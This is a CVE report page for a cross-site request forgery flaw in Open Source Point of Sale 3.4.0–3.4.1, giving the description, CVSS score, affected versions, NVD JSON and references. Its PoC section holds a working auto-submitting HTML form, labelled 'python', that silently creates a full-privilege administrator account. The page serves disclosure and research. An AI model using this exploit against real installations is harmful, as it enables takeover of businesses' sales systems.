Security Vulnerability Report
中文
CVE-2025-68434 CVSS 8.8 HIGH

CVE-2025-68434

Published: 2025-12-17 23:16:06
Last Modified: 2025-12-18 19:45:54

Description

Open Source Point of Sale (opensourcepos) is a web based point of sale application written in PHP using CodeIgniter framework. Starting in version 3.4.0 and prior to version 3.4.2, a Cross-Site Request Forgery (CSRF) vulnerability exists in the application's filter configuration. The CSRF protection mechanism was **explicitly disabled**, allowing the application to process state-changing requests (POST) without verifying a valid CSRF token. An unauthenticated remote attacker can exploit this by hosting a malicious web page. If a logged-in administrator visits this page, their browser is forced to send unauthorized requests to the application. A successful exploit allows the attacker to silently create a new Administrator account with full privileges, leading to a complete takeover of the system and loss of confidentiality, integrity, and availability. The vulnerability has been patched in version 3.4.2. The fix re-enables the CSRF filter in `app/Config/Filters.php` and resolves associated AJAX race conditions by adjusting token regeneration settings. As a workaround, administrators can manually re-enable the CSRF filter in `app/Config/Filters.php` by uncommenting the protection line. However, this is not recommended without applying the full patch, as it may cause functionality breakage in the Sales module due to token synchronization issues.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:opensourcepos:open_source_point_of_sale:*:*:*:*:*:*:*:* - VULNERABLE
OpenSourcePOS >= 3.4.0
OpenSourcePOS < 3.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-68434 CSRF PoC - Create Admin Account --> <!DOCTYPE html> <html> <head> <title>OSPOS CSRF Exploit</title> </head> <body> <h1>OSPOS CSRF PoC - Unauthorized Admin Creation</h1> <p>Target: http://target-osp installation</p> <form id="exploit" action="http://target-osp/index.php/people/save" method="POST"> <input type="hidden" name="type" value="employee"> <input type="hidden" name="person_id" value=""> <input type="hidden" name="first_name" value="Malicious"> <input type="hidden" name="last_name" value="Admin"> <input type="hidden" name="gender" value=""> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="phone_number" value="1234567890"> <input type="hidden" name="address_1" value=""> <input type="hidden" name="address_2" value=""> <input type="hidden" name="city" value=""> <input type="hidden" name="state" value=""> <input type="hidden" name="zip" value=""> <input type="hidden" name="country" value=""> <input type="hidden" name="comments" value=""> <input type="hidden" name="employee_number" value=""> <input type="hidden" name="hire_date" value=""> <input type="hidden" name="termination_date" value=""> <input type="hidden" name="email_work" value=""> <input type="hidden" name="email_personal" value=""> <input type="hidden" name="username" value="malicious_admin"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="repeat_password" value="P@ssw0rd123"> <input type="hidden" name="override_default_tax" value="0"> <input type="hidden" name="no_tax" value="0"> <input type="hidden" name="tax_classification" value=""> <input type="hidden" name="info_code" value=""> <input type="hidden" name="deliveries" value="0"> <input type="hidden" name="not_for_sales" value="0"> <input type="hidden" name="is_deleted" value="0"> <input type="hidden" name="language" value="en-US"> <input type="hidden" name="theme" value=""> <input type="hidden" name="timezone" value=""> <input type="hidden" name="currency_value" value="1"> <input type="hidden" name="sales_tax_codes" value="0"> <input type="hidden" name="print_after_sale" value="0"> <input type="hidden" name="default_employee" value="1"> <input type="hidden" name="selected_modules" value='{"employees":1,"customers":1,"suppliers":1,"reports":1,"items":1,"receivings":1,"sales":1,"configurations":1,"giftcards":1,"item_kits":1,"messages":1,"expenses":1}'> <input type="hidden" name="submit" value="submit"> </form> <script> document.getElementById('exploit').submit(); </script> <p>Exploit sent automatically...</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68434", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:05.597", "lastModified": "2025-12-18T19:45:54.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open Source Point of Sale (opensourcepos) is a web based point of sale application written in PHP using CodeIgniter framework. Starting in version 3.4.0 and prior to version 3.4.2, a Cross-Site Request Forgery (CSRF) vulnerability exists in the application's filter configuration. The CSRF protection mechanism was **explicitly disabled**, allowing the application to process state-changing requests (POST) without verifying a valid CSRF token. An unauthenticated remote attacker can exploit this by hosting a malicious web page. If a logged-in administrator visits this page, their browser is forced to send unauthorized requests to the application. A successful exploit allows the attacker to silently create a new Administrator account with full privileges, leading to a complete takeover of the system and loss of confidentiality, integrity, and availability. The vulnerability has been patched in version 3.4.2. The fix re-enables the CSRF filter in `app/Config/Filters.php` and resolves associated AJAX race conditions by adjusting token regeneration settings. As a workaround, administrators can manually re-enable the CSRF filter in `app/Config/Filters.php` by uncommenting the protection line. However, this is not recommended without applying the full patch, as it may cause functionality breakage in the Sales module due to token synchronization issues."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensourcepos:open_source_point_of_sale:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.2", "matchCriteriaId": "A1953C95-7727-4A5A-BCEC-D89FC0C5D2D7"}]}]}], "references": [{"url": "https://github.com/Nixon-H/CVE-2025-68434-OSPOS-CSRF-Unauthorized-Administrator-Creation", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos/commit/d575c8da9a1d7af8313a1e758e000e243f5614ef", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opensourcepos/opensourcepos/pull/4349", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-wjm4-hfwg-5w5r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Nixon-H/CVE-2025-68434-OSPOS-CSRF-Unauthorized-Administrator-Creation", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-wjm4-hfwg-5w5r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}